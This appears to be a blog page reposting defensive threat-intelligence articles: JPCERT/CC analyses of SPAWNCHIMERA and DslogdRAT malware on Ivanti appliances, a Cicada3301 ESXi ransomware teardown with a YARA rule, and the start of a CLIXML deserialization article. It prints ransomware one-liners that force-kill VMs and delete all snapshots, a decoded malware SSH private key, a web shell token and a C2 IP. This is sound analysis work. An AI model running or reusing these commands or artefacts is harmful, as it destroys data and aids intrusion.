Even when there is insufficient evidence for “hard” attribution, “soft” attribution may be helpful in issuing appropriate alerts and providing countermeasure information. On the other hand, “hard” attribution is necessary for long-term countermeasures even when it is not feasible for technically timely responses.

There is not enough space here to cover a variety of technical and non-technical issues surrounding attribution, but I believe that “information disclosure” will be a key topic in the future. Disclosure of attribution results is an achievement for analysts in the private sector as well as an important tool for commercial businesses to demonstrate their expertise. While it is difficult for them to visualize the capabilities of products and services, reports of (soft) attribution can easily show their findings, which is important for maintaining the sound growth of the security market. 

Meanwhile, attribution is also an achievement for government side. Aside from the arguments over the effectiveness of public attribution[29], it is a valuable opportunity for governments to demonstrate why they collect information on private victim organizations. In addition, as mentioned earlier, it is also a chance to demonstrate the capabilities as a country to their allies and adversaries.
However, in either position, prioritizing achievement and disclosing technically unreliable attribution results bring a number of negative consequences. The effectiveness of information disclosure should also be verified.

Most importantly, it should always be reminded that so-called “threat intelligence,” including attribution results, is not a product created solely by those who release the information. Behind the scenes, victim organizations and analysts involved in on-site response play an extremely important role. Information disclosure influences threat actors, and at the same time, it is also a highly complex activity that affects not only the alerted organizations but also various other parties, including the victim organizations, analysts, and product vendors. Attribution methodology is still in the process of development, and information disclosure involves a number of unresolved issues. I have repeatedly discussed various issues surrounding “information disclosure” in the past[30], and I will continue such discussions along with alerts and analytical reports.

Figure 3: Timing of each attribution

 

Hayato Sasaki
(Translated by Takumi Nakano)

 

References

*Please note that the authors and titles are omitted due to the large number of references.

[1] This name first appeared in Operation Blockbuster, a joint analysis report led by Novetta and involving a number of security vendors in 2016. It was initially described as “Lazarus Group.”

[2] Attack campaign: Attack activities conducted against a specific organization or sector for a certain period of time using a specific attack method or infrastructure. (Reference: 2024年3月「攻撃技術情報の取扱い・活用手引き」(サイバー攻撃による被害に関する情報共有の促進に向けた検討会事務局(経済産業省、JPCERT/CC))[Japanese only]

[3] https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_2_2_sasaki_en.pdf, JSAC2024 https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_2_6_hayato_sasaki_en.pdf, National Institute for Defense Studies (NIDS) Commentary https://www.nids.mod.go.jp/publication/commentary/pdf/commentary346.pdf [Japanese only]

[4] These are slightly old reports, but they analyze the organization and overlaps of subgroups based on the clustering of malware clusters. https://securelist.com/lazarus-threatneedle/100803/, https://vblocalhost.com/uploads/VB2021-Park.pdf

[5] https://blogs.jpcert.or.jp/en/2025/01/initial_attack_vector.html

[6] https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/?hl=en, “Final report of the Panel of Experts submitted pursuant to resolution 2627 (2022)”, https://www.un.org/securitycouncil/sanctions/1718/panel_experts/reports

[7] CISTECジャーナル2023年5月号 JPCERT/CC 佐々木勇人「2022年度国連北朝鮮制裁委報告書から北朝鮮関連のサイバー攻撃動向を読み解く―新たな攻撃グループ登場の背景とその動向について―」[Japanese only]

[8] https://cloud.google.com/blog/topics/threat-intelligence/apt43-north-korea-cybercrime-espionage?hl=en

[9] When I once explained the Lazarus subgroups to a member of an international organization, I was told, “Whatever the subgroups are, they are already attributed (to a certain government) for their illegal activities, and that should be enough.”

[10] Until 2023, such tracking and reporting was conducted at the expert panel of the United Nations Security Council Sanctions Committee on North Korea. The panel collected information like those covered in this article from various security vendor reports and analyzed threats by group and government agencies considered behind such groups. However, as news media reported, the expert panel’s activities ended in FY2023.

[11] Reference: 中谷和弘, 河野桂子, 黒崎将広『サイバー攻撃の国際法 タリン・マニュアル2.0の解説(増補版)』, 中村和彦『越境サイバー侵害行動と国際法―国家実行から読み解く規律の行方―』ほか [Japanese only]

[12] For an explanation on the limitations of the punitive deterrence approach centered on public attribution in the U.S. and the history of the transition to a cost-imposition approach, please refer to the following article of the National Institute for Defense Studies (NIDS) Commentary. 佐々木勇人, 瀬戸崇志『サイバー攻撃対処における攻撃「キャンペーン」概念と「コスト賦課アプローチ」——近年の米国政府当局によるサイバー攻撃活動への対処事例の考察から』https://www.nids.mod.go.jp/publication/commentary/pdf/commentary346.pdf [Japanese only]

[13] https://blogs.jpcert.or.jp/en/2024/02/lazarus_pypi.html

[14] https://ti.qianxin.com/blog/articles/Analysis-of-Suspected-Lazarus-APT-Q-1-Attack-Sample-Targeting-npm-Package-Supply-Chain-EN/

[15] https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/

[16] https://thehackernews.com/2024/05/microsoft-uncovers-moonstone-sleet-new.html

[17] https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

[18] https://unit42.paloaltonetworks.com/gleaming-pisces-applejeus-poolrat-and-pondrat/

[19] https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a

[20] https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack/

[21] https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/

[22] https://security.macnica.co.jp/blog/2024/10/-contagious-interview.html

[23]  https://jp.security.ntt/tech_blog/en-contagious-interview-ottercookie

[24] https://unit42.paloaltonetworks.jp/two-campaigns-by-north-korea-bad-actors-target-job-hunters/

[25] https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/

[26] https://ofac.treasury.gov/recent-actions/20220516

[27] https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/

[28] We mentioned that Mandiant reclassified it as APT43 in March 2023. The activities of this actor were previously often reported and classified as those of Kimsuky and Thallium. However, after years of tracking, it was reanalyzed, reclassified, and then announced as APT43. https://cloud.google.com/blog/ja/topics/threat-intelligence/apt43-north-korea-cybercrime-espionage

[29] For the studies based on the argument that deterrence approaches through public attribution and economic sanctions assuming so-called punitive deterrence had little success, refer to the following. Michael P. Fischerkeller, Emily O. Goldman, Richard J. Harknett, “Cyber Persistence Theory: Redefining National Security in Cyberspace”, Robert Chesney and Max Smeets Eds, “Deter, Disrupt, or Deceive Assessing Cyber Conflict as an Intelligence Contest”

[30] https://blogs.jpcert.or.jp/ja/2022/04/sharing_and_disclosure.html, https://blogs.jpcert.or.jp/ja/2023/05/cost-and-effectiveness-of-alerts.html, https://blogs.jpcert.or.jp/ja/2023/08/incident-disclosure-and-coordination.html, https://blogs.jpcert.or.jp/ja/2023/12/leaks-and-breaking-trust.html
[Japanese only]

Posted in Cyber AttacksTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

SPAWNCHIMERA Malware: The Chimera Spawning from Ivanti Connect Secure Vulnerability(By Yuma Masubuchi)

Posted on April 29, 2025 - April 29, 2025 by Maq Verma

In January 2025, Ivanti published an advisory[1] regarding the vulnerability CVE-2025-0282 in Ivanti Connect Secure. JPCERT/CC has confirmed multiple cases of this vulnerability being exploited in Japan since late December 2024, prior to the disclosure of the vulnerability, and published a security alert[2]. This vulnerability has already been used by multiple attack groups.

Among these cases, JPCERT/CC has confirmed that SPAWN malware family[3][4], which infects after exploiting the vulnerability, according to a report by Google, had been updated. This article explains the updated malware family (hereafter referred to as “SPAWNCHIMERA”).

Overview of SPAWNCHIMERA’s behavior

Figure 1 shows an overview of SPAWNCHIMERA’s behavior. It is malware with the functions of SPAWNANT, SPAWNMOLE, and SPAWNSNAIL all updated and integrated. Therefore, there is no significant difference in the way malware is installed or injected into other processes compared to SPAWN family reported by Google[4]. On the other hand, as shown in Figure 1, SPAWNCHIMERA can be injected into various processes and run in each of them. The major changes are as follows.

  • Change in inter-process communication
  • Function to fix vulnerability CVE-2025-0282
  • New decode functions added
  • Deleted debug message

Figure 1: Flow of SPAWNCHIMERA’s behavior.

Inter-process communication through UNIX domain sockets

In the previous SPAWN family, the malicious traffic received by SPAWNMOLE was sent to port 8300 on 127.0.0.1, and SPAWNSNAIL processed it. With the abovementioned update, this inter-process communication method was altered to use UNIX domain socket. It is created in the below path, and malicious traffic is sent and received between SPAWNCHIMERA injected into the web process and that injected into the dsmdm process. This change made it more difficult to detect the malware, as netstat command results from the Integrity Checker Tool (ICT) may not be displayed.

/home/runtime/tmp/.logsrv

Function to fix the vulnerability CVE-2025-0282

SPAWNCHIMERA has a new function to fix the CVE-2025-0282 vulnerability. CVE-2025-0282 is a buffer overflow vulnerability[5] caused by the strncpy function, and the malware dynamically fixes it by hooking the strncpy function and limiting the copy size to 256. Figure 2 shows the replaced strncpy function. SPAWNCHIMERA converts its process name to hexadecimal and verifies the added value. The fix is triggered when the process name is “web” The fix is programmed to be disabled when the first byte of the source copied to the strncpy function matches 0x04050203. Due to this function, if another attacker uses this vulnerability to attempt penetration or executes a PoC[6] for scanning purposes, the attack may not succeed.

Figure 2: The strncpy function replaced through hook

New decode functions added

In the previous samples, the private key for SSH server functionality was hardcoded in plaintext within the samples and exported to /tmp/.dskey. On the other hand, in SPAWNCHIMERA, it is now encoded and hardcoded within the sample. The key is used after being decoded with an XOR-based decode function. Since it is not exported as a file, traces are less likely to be left. The decoded private key is shown below.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACB5yHbNy5qrd638t2dCLQ08TJb3D8m0+vifkGmBRho6+QAAAJB08wxcdPMM
XAAAAAtzc2gtZWQyNTUxOQAAACB5yHbNy5qrd638t2dCLQ08TJb3D8m0+vifkGmBRho6+Q
AAAEBqjrwB7thqk5LnigfsE8EqlKrmWNhy82k5GTV8BBVlDXnIds3Lmqt3rfy3Z0ItDTxM
lvcPybT6+J+QaYFGGjr5AAAACWthbGlAa2FsaQECAwQ=
-----END OPENSSH PRIVATE KEY-----

Additionally, while the previous sample identified malicious traffic in replaced accept function, by matching a part of the received buffer with a hard-coded value, SPAWNCHIMERA has a new decode function and determines whether the traffic is malicious based on its calculation result. The decode function is shown in Figure 3.

Figure 3: Decode function used to identify malicious traffic

Deleted debug message

While there are only minor differences in functionality between the previous SPAWNSLOTH and that dropped by SPAWNCHIMERA, some functions related to debug messages were deleted from the entire sample, possibly with the aim of complicating analysis and preventing hunting. This modification is also seen in the main sample of SPAWNCHIMERA. Figure 4 shows an example of the deleted functions.

Figure 4: Deleted debug message (left: previous version, right: current version)

In closing

SPAWNCHIMERA has evolved into more sophisticated malware by changing various functions of SPAWN family in a way that leaves less traces, and SPAWN family is expected to remain in use. We hope that the information in this article will help your malware analysis. The hash values and file paths of the confirmed malware are listed in the Appendix.

Yuma Masubuchi

(Translated by Takumi Nakano)

References

[1] Ivanti
Security Advisory Ivanti Connect Secure, Policy Secure & ZTA Gateways (CVE-2025-0282, CVE-2025-0283)
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283?language=en_US

[2] JPCERT/CC
Ivanti Connect Secureなどにおける脆弱性(CVE-2025-0282)に関する注意喚起
https://www.jpcert.or.jp/at/2025/at250001.html

[3] Google
Ivanti Connect Secure VPN Targeted in New Zero-Day Exploitation
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/?hl=en

[4] Google
Cutting Edge, Part 4: Ivanti Connect Secure VPN Post-Exploitation Lateral Movement Case Studies
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement?hl=en

[5] watchTowr Labs
Do Secure-By-Design Pledges Come With Stickers? – Ivanti Connect Secure RCE (CVE-2025-0282)
https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

[6] Stephen Fewer
CVE-2025-0282.rb
https://github.com/sfewer-r7/CVE-2025-0282/blob/main/CVE-2025-0282.rb

Appendix A: Hash values of the malware

  • SPAWNCHIMERA 94b1087af3120ae22cea734d9eea88ede4ad5abe4bdeab2cc890e893c09be955
  • SPAWNSLOTH 9bdf41a178e09f65bf1981c86324cd40cb27054bf34228efdcfee880f8014baf

Appendix B: File paths of the malware confirmed

  • SPAWNCHIMERA /lib/libdsupgrade.so
  • SPAWNSLOTH /tmp/.liblogblock.so
Posted in Cyber AttacksTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

DslogdRAT Malware Installed in Ivanti Connect Secure(By Yuma Masubuchi)

Posted on April 29, 2025 - April 29, 2025 by Maq Verma

In a previous article of JPCERT/CC Eyes, we reported on SPAWNCHIMERA malware, which infects the target after exploiting the vulnerability in Ivanti Connect Secure. However, this is not the only malware observed in recent attacks. This time, we focus on another malware DslogdRAT and a web shell that were installed by exploiting a zero-day vulnerability at that time, CVE-2025-0282, during attacks against organizations in Japan around December 2024.

Functionality of the installed Web shell

Figure 1 shows a part of the web shell written in Perl. This Perl script is executed as a CGI and retrieves the Cookie header from incoming HTTP requests. If the value of DSAUTOKEN= matches af95380019083db5, the script uses the system function to execute an arbitrary command specified in the request parameter data. It is considered that attackers accessed this simple web shell to execute commands to run malware such as DslogdRAT, which is discussed in the next section.

Figure 1: A part of the web shell

Overview of DslogdRAT

Figure 2 shows the execution flow of DslogdRAT. Upon execution, the main process of DslogdRAT creates a first child process and then terminates itself. The child process then decodes the configuration data and creates a second child process. The first child process enters a loop routine including sleep intervals, and thus it never gets terminated. The second child process contains DslogdRAT core functionality, which includes the following:

  • Initiate communication with the C2 server based on configuration data
  • Create a worker thread and pass socket information for communication

The worker thread handles data exchange with the C2 server and execution of various commands. These threads are implemented using the pthread library.

Figure 2: Execution Flow of DslogdRAT

Configuration Data of DslogdRAT

The configuration data of DslogdRAT is encoded and hardcoded in the sample. It is XOR-decoded byte to byte with 0x63 as the key. The structure of the configuration is listed in Table 1 in Appendix A, and the decoded configuration data is shown in Table 2. According to the decoded data, DslogdRAT is set to operate between 8:00 AM and 8:00 PM and remain in a sleep state during the other times. It is considered that attackers intended to avoid detection by communicating during business hours.

DslogdRAT’s Communication Method and Command Execution

DslogdRAT communicates with its C2 server through socket connections. The data exchanged during the communication is encoded using a function shown in Figure 3. The encoding and decoding operations are simple: applying XOR to each 7-byte block from 0x01 to 0x07.

Figure 3: DslogdRAT’s encoding and decoding mechanism

Figure 4 shows an example of the decoded initial communication with the C2 server. During this initial exchange, the malware sends basic information about the infected host to the server. The sent data follows a specific format:

 0x00: ff ff ff ff
+0x04: 0f 00
+0x06: Data length
+0x0A: Encoded data

Figure 4: Example of DslogdRAT’s decoded initial communication

DslogdRAT supports multiple commands used for establishing an initial point of entry as shown below. Details of the supported commands are listed in Appendix B.

  • File upload and download
  • Execution of shell commands
  • Proxy functionality

SPAWNSNARE

In addition to DslogdRAT, SPAWNSNARE was also identified on the same compromised system. The malware was previously reported by both CISA and Google in April 2025 [1][2]. For details of SPAWNSNARE’s behavior, please refer to Google’s report [1].

In Closing

It is currently unknown whether the attacks using DslogdRAT is part of the same campaign involving SPAWN malware family operated by UNC5221 [1]. For further information on observed C2 servers, hash values, and file paths, refer to Appendix C and D. JPCERT/CC has issued an alert regarding a vulnerability in Ivanti Connect Secure (CVE-2025-22457), and attacks targeting Ivanti Connect Secure are expected to continue. We recommend continuing to monitor such attacks.

Yuma Masubuchi
(Translated by Takumi Nakano)

References

[1] Google Suspected China-Nexus Threat Actor Actively Exploiting Critical Ivanti Connect Secure Vulnerability (CVE-2025-22457)
https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-exploiting-critical-ivanti-vulnerability

[2] CISA MAR-25993211-r1.v1 Ivanti Connect Secure (RESURGE)
https://www.cisa.gov/news-events/analysis-reports/ar25-087a

Appendix A:Configuration

Table 1: Configuration structure of DslogdRAT

OffsetDescription
0x0ConfigTag
0x4Listen mode flag
0x8C2 IP
0x108C2 Port
0x10CSleep time
0x110Timeout value
0x114Shell filepath
0x214String used in shell command
0x314String used in thread
0x414String used in node name
0x514Proxy server
0x614Proxy user
0x714Proxy password
0x814Proxy port
0x818Lower hour limit
0x81CUpper hour limit
0x820Enable source port settings(Default port: 3039)
0x824Used in setsockopt
0x828Source port
0x82CEnable sleep time
0x830Enable sleep time

Table 2: Decoded configuration data

DescriptionContent
ConfigTag95 82 e3 0e
Listen mode flag0
C2 IP3.112.192[.]119
C2 Port443
Sleep time1250
Timeout value30
Shell filepath/bin/sh
String used in shell command[kworker/0:02]
String used in thread/home/bin/dslogd
String used in node namenull
Proxy server127.0.0.1
Proxy useradmin
Proxy passwordadmin
Proxy port65500
Lower hour limit8
Upper hour limit20
Enable source port settings(Default port: 3039)0
Used in setsockopt240
Source port12345
Enable sleep time1
Enable sleep time1

Appendix B:Commands

Table 3: List of DslogdRAT commands

ValueContents
0x4File download
0x8Set upload file
0xAFile upload
0xCShell
0xDGet shell data
0xEExit shell
0x11Set sleep time
0x13Run proxy
0x16Get proxy data
0x17Stop proxy
0x18Stop all proxy
0x28Forwarding
0x29Stop fowarding

Appendix C:C2 server

  • DslogdRAT communicated with: 3.112.192[.]119

Appendix D:Malware hash values

Table 4: File paths and hash values

FilePathHash
DslogdRAT/home/bin/dslogd1dd64c00f061425d484dd67b359ad99df533aa430632c55fa7e7617b55dab6a8
Webshell/home/webserver/htdocs/dana-na/cc/ccupdate.cgif48857263991eea1880de0f62b3d1d37101c2e7739dcd8629b24260d08850f9c
SPAWNSNARE/bin/dsmainb1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d
Posted in Cyber AttacksTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Dissecting the Cicada

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Cicada3301 – A New Ransomware-as-a-Service

The Cicada3301 appears to be a traditional ransomware-as-a-service group that offers a platform for double extortion, with both a ransomware and a data leak site, to its affiliates. The first published leak on the group’s data leak site is dated June 25, 2024. Four days later, on June 29, the group published an invitation to potential affiliates to join their ransomware-as-a-service platform on the cybercrime forum Ramp.

Cicada3301 announces its affiliate program on Ramp.

As advertised above, The Cicada3301 group uses a ransomware written in Rust for both Windows and Linux/ESXi hosts. This report will focus on the ESXi ransomware, but there are artifacts in the code that suggest that the Windows ransomware is the same ransomware, just with a different compilation.

While more and more ransomware groups are adding ESXi ransomware to their arsenal, only a few groups are known to have used ESXi ransomware written in Rust. One of them is the now-defunct Black Cat/ALPHV ransomware-as-a-service group. Analysis of the code has also shown several similarities in the code with the ALPHV ransomware.

The Cicada3301 ransomware has several interesting similarities to the ALPHV ransomware.

  • Both are written in Rust
  • Both use ChaCha20 for encryption
  • Both use almost identical commands to shutdown VM and remove snapshots[1]
  • Both use –ui command parameters to provide a graphic output on encryption
  • Both use the same convention for naming files, but changing “RECOVER-“ransomware extension”-FILES.txt”  to “RECOVER-“ransomware extension”-DATA.txt”[2]
  • How the key parameter is used to decrypt the ransomware note

Below is an example of code from Cicada3301 that is almost identical to ALPHV.

Example of code shared between ALPHV and Cicada3301.

Analysis of the Threat Actor

The initial attack vector was the threat actor using valid credentials, either stolen or brute-forced, to log in using ScreenConnect. The IP address 91.92.249.203, used by the threat actor, has been tied to a botnet known as “Brutus” that, in turn, has been linked to a broad campaign of password guessing various VPN solutions, including ScreenConnect. This botnet has been active since at least March 2024, when the first article about it was published, but possibly longer.[3] 

The IP address used in this initial login was used a few hours before the threat actor started to conduct actions on the systems, so it is highly unlikely that an access broker could compromise the system and pass on the access to a buyer in the span of a few hours unless there was an established connection between them.

This could mean that either (A) the threat actor behind the Brutus botnet is directly connected to the Cicida3301 ransomware group or (B) the use of the IP address by two separate threat actors, both using them to compromise victims using ScreenConnect, is purely coincidental. As far as we could observe, this IP address was still part of the “Brutus” botnet at the time of the ransomware attack.

The timeline is also interesting as the Brutus botnet activity began on March 18, two weeks after it was reported that the BlackCat/ALPHV ransomware group conducted an apparent exit scam and ceased their operations.[4]

It is possible that all these events are related and that part of the BlackCat group has now rebranded themselves as Cicada3301 and teamed up with the Brutus botnet, or even started it themselves, as a means to gain access to potential victims, while they modified their ransomware into the new Cicada3301. Having easy access to a reliable initial access broker can be a way to offer a more “complete” service for the group’s affiliates.

The group could also have teamed up with the malware developer behind ALPHV. This individual appears to have worked for several different ransomware groups in the past.[5]

It is also possible that another group of cybercriminals obtained the code to ALPHV and modified it to suit their needs. When BlackCat shut down their operations, they stated that the source code to their ransomware was for sale for $5 million.  It is also important to note that, as far as we can tell, the Cicada3301 is not quite as sophisticated as the ALPHV ransomware. The creators may decide to add additional features, such as better obfuscation, later.

Regardless of whether Cicada3301 is a rebrand of ALPHV, they have a ransomware written by the same developer as ALPHV, or they have just copied parts of ALPHV to make their own ransomware, the timeline suggests the demise of BlackCat and the emergence of first the Brutus botnet and then the Cicada3301 ransomware operation may possibly be all connected. More investigation is needed before we can say anything for certain, however.

Technical Details

Initial Observations

The ransomware is an ELF binary, and as shown by Detect It Easy, it is compiled and written in Rust.

Initial triage of the ransomware

That the ransomware is written in Rust was further strengthened by investigating the .comment section of the binary. There, it was revealed that version 1.79.0 of Rust has been used.

.comment section of the ransomware

Finally, it was further validated that the binary was written in Rust by just looking for strings in the ransomware. With string references to “Rust”, and strings referencing to “Cargo” that is Rust’s build system and package manager, it is concluded that the ransomware is written in Rust.

Strings related to Rust in the ransomware

Ransomware Functionality

At the start of the ransomware main function, there are several references to parameters that should be passed as an argument to binary, using clap::args, that hold different functionalities that can be used in combination as well.

Arguments passed to the ransomware

The binary has a built-in help function, giving an explanation of the different parameters and how they should be used.

Help function of the ransomware

The main function of the binary, which is done by the malware developer, is called linux_enc. By searching for linux_enc function a general program flow of the binary could be found.

The function calls of main

The Ransomware Parameters

It is possible to add a sleep parameter of the binary, adding a delay in seconds when the ransomware should be executed. For the sleep function, the ransomware uses the built-in sleep function std::thread::sleep

The sleep parameter of the ransomware

The ui parameter prints the result of the encryption to the screen, showing what files have been encrypted and a statistic of the total amount of files and data that has been successfully encrypted.

The ui parameter of the ransomware

The ui parameter was confirmed by running the ransomware and using the ui flag, showing the progress and statistics on the command prompt.

The ui parameter output

If the parameter no_vm_ss is chosen, the ransomware will encrypt files without shutting down the virtual machines that are running on ESXi. This is done by using the built-in esxicli terminal that will also delete snapshots.

Built-in esxicli commands of the ransomware

The full commands that the ransomware is utilizing are the following.

esxcli –formatter=csv –format-param=fields==\”WorldID,DisplayName\” vm process list | grep -viE \”,(),\” | awk -F \”\\\”*,\\\”*\” \'{system(\”esxcli vm process kill –type=force –world-id=\”$1)}\’ > /dev/null 2>&1;

for i in `vim-cmd vmsvc/getallvms| awk \'{print$1}\’`;do vim-cmd vmsvc/snapshot.removeall $i & done > /dev/null 2>&1

The most important parameter is the one named key. This needs to be provided, otherwise the binary will fail and show on the screen “Key is invalid”.

Output if wrong key is passed to the ransomware

The binary has a function called check_key_and_get_rec_text. It will make a check to see if the provided key is of length 0x2C to enter the function, but the size is also provided as an argument to the function. If the length is less than 0x2C the binary will terminate directly.

Checking correct key length

If the size of the key is correct, the ransomware will enter the function check_key_and_get_rec_text. One of the first things that happen in the function is to load an encrypted base64 encoded data blob that is stored in the data section. The decoded data is then stored and will be used later in the function.

Encoded and encrypted ransomware note inside the ransomware

The provided parameter key is then taken as a key to decrypt, using ChaCha20, the encoded data blob. If the provided key is correct the message that is shown in the ransomware note will be decrypted.

Decryption of the ransomware note
Decrypted ransomware note

To verify that the provided key was correct after exiting the check_key_and_get_rec_text function, there is a check that the ransomware note has been decrypted properly.

Validation that the ransomware note has been decrypted

File Encryption

The functions start by using OsRng to generate entropy for the symmetric key. OsRng is a random number generator that retrieves randomness from the operating system.

Function used to generate keys to ChaCha20

The binary contains a function called encrypt_file that handles the encryption of the files. The first function is to extract another public pgp key that is stored in the data section. This key is used for encryption to encrypt the symmetric key that is generated for file encryption.

RSA key used for key encryption

It then creates the file that will store the ransomware message in the folder of the encrypted files. It will be named “RECOVER-’ending of encrypted file’-DATA.txt”

Creating the ransomware note

Inside the encryption function there is a list of file extensions where most of them are related to either documents or pictures. This indicates that the ransomware has been used to encrypt Windows systems before being ported to ransomware ESXi hosts.

File extensions for encryption (not used)

The full list of extensions:

jpeg, webp, tiff, docx, docm, dotx, dotm, xlsx, xlsm, xltx, xltm, xlsb, xlam, pptx, pptm, ptox, potm, ppsx, ppsm, sql, doc, rtf, xls, jpg, png, gif, psd, raw, bmp, pdf, odt, ods, odp, mdf, txt

Then it checks the size of the file. If it is greater than 0x6400000, then it will encrypt the file in parts, and if it is smaller, the whole file will be encrypted.

Checking file size for encryption

The files will then be encrypted with a symmetric key generated by OsRng using ChaCha20.

Use of ChaCha20 for file encryption

After the encryption is done, the ransomware encrypts the ChaCha20 key with the provided RSA key and finally writes the extension to the encrypted file.

Adding the encryption file extension

The file extension is also added to the end of the encrypted file, together with the RSA-encrypted ChaCha20 key.

File extension at the end of the file

YARA Rule for Cicada3301 Threat Hunting

rule elf_cicada3301{

      meta:
             author = "Nicklas Keijser"
             description = "Detect ESXi ransomware by the group Cicada3301"
             date = "2024-08-31"

      strings:
             $x1 = "no_vm_ss" nocase wide ascii
             $x2 = "linux_enc" nocase wide ascii
             $x3 = "nohup" nocase wide ascii
             $x4 = "snapshot.removeall" nocase wide ascii
             $x5 = {65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B} //Use of ChaCha20 constant expand 32-byte k

      condition:
             uint16(0) == 0x457F
             and filesize < 10000KB
             and (all of ($x*))
}


Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Attacking PowerShell CLIXML Deserialization

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

In the video below we show a Hyper-V guest-to-host breakout scenario that is based on a CLIXML deserialization attack. After reading this article, you will understand how it works and what you need to do to ensure it does not affect your environment.Hyper-V breakout via CLIXML deserialization attack

PART 1 – HISTORY OF DESERIALIZATION ATTACKS

Serialization is the process of converting the state of a data object into an easily transmittable data format. In serialized form, the data can be saved in a database, sent over the network to another computer, saved to disk, or some other destination. The reverse process is called deserialization. During deserialization the data object is reconstructed from the serialized form.

CWE-502: Deserialization of Untrusted Data is a vulnerability class that occurs when an application deserializes data that can be controlled by an adversary.

This vulnerability class was first described in 2006 by Marc Schönefeld in Pentesting J2EE although it really became mainstream around 2015 after Frohoff and Lawrence published Marshalling Pickles and their tool YsoSerial. Muñoz and Mirosh later showed that deserialization attacks are also possible in .NET applications in Friday The 13th JSON Attacks. Although they do not target PowerShell deserialization explicitly, their research actually touched upon CLIXML, specifically in their PSObject gadget chain (PSObjectGenerator.cs). As of 2024, most languages and frameworks have been studied in the context of deserialization attacks including PHP, Python, and others.

What is a gadget chain? Essentially, a gadget chain is the serialized data that the threat actor provides to exploit the vulnerability. The gadget chain is crafted to trigger a chain of function calls that eventually leads to a security impact. For example, it may start with an implicit call to “destruct” on the object that the threat actor controls. Within that function, another function is called, and so on. If you are unfamiliar with the generic concepts of deserialization attacks, I recommend that you check out my previous article on PHP Laravel deserialization attacks: From S3 bucket to Laravel unserialize RCE – Truesec. There are also plenty of great resources online!

Afaik, the first time CLIXML deserialization attacks in a PowerShell context got proper attention was during the Exchange Server exploits. CLIXML deserialization was a key component of the ProxyNotShell exploit chain. Piotr Bazydło did a great job explaining how it works in Control Your Types of Get Pwned and he has continued researching the topic of Exchange PowerShell (see OffensiveCon24). This research has been an important source of inspiration for me. However, the key difference from what we will dive into here, is that ProxyNotShell and Bazydło’s research are limited to Exchange PowerShell. We will look into PowerShell in general.

PART 2 – INTRODUCTION TO CLIXML SERIALIZATION

PowerShell is a widely used scripting language available by default on all modern Windows computers. PowerShell CLIXML is the format used by PowerShell’s serialization engine PSSerializer.

The cmdlets Import-Clixml and Export-Clixml makes it easy to serialize and deserialize objects in PowerShell. The cmdlets are essentially wrappers for the underlying functions [PSSerializer]::Serialize() and [PSSerializer]::Deserialize().

Here’s an example of how it could be used:

# Create an example object and save it to example.xml
$myobject = "Hello World!"
$myobject | Export-Clixml .\example.xml

# Here we deserialize the data in example.xml into $deserialized. Note that this works even if example.xml was originally created on another computer.
$deserialized = Import-Clixml .\example.xml

The format of example.xml is, you guessed it, CLIXML. Below we see the contents of the file.

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<S>Hello World!</S>
</Objs>

CLIXML supports so called “primitive types” that can be declared with their respective tags. The table below shows a few examples.

ElementTypeExample
SString<S>Hello world</S>
I32Signed Integer<I32>1337</I32>
SBKScriptBlock<SBK>get-process</SBK>
BBoolean<B>true</B>
BAByte array (base64 encoded)<BA>AQIDBA==</BA>
NilNULL<Nil />

Examples of known primitive types

CLIXML also supports what they call “complex types” which includes Lists, Stacks, and Objects. An Object uses the tag <Obj>. The example below is a serialized System.Drawing.Point object. You can see the type name System.Drawing.Point under TN and under Props the properties named IsEmpty, X and Y.

<Obj RefId="RefId-0">
    <TN RefId="RefId-0">
        <T>System.Drawing.Point</T>
        <T>System.ValueType</T>
        <T>System.Object</T>
    </TN>
    <Props>
        <B N="IsEmpty">false</B>
        <I32 N="X">12</I32>
        <I32 N="Y">34</I32>
    </Props>
</Obj>

That’s it for the quick introduction to CLIXML and should cover what you need to know to follow the rest of this article. If you want to learn more you can find the complete specification under MS-PSRP documentation here [MS-PSRP]: Serialization | Microsoft Learn.

PSSERIALIZER AND CLIXML DESERIALIZATION

PowerShell Core started as a fork of Windows PowerShell 5.1 and is open source (PowerShell). We use the public source code to gather an understanding of how the internals of the deserialization work.

We follow the code flow after calling the PSSerializer.Deserialize function and see that the serialized XML ends up being parsed, recursively looped, and every element is eventually passed to the ReadOneObject (serialization.cs) function, defined in the InternalSerializer class.

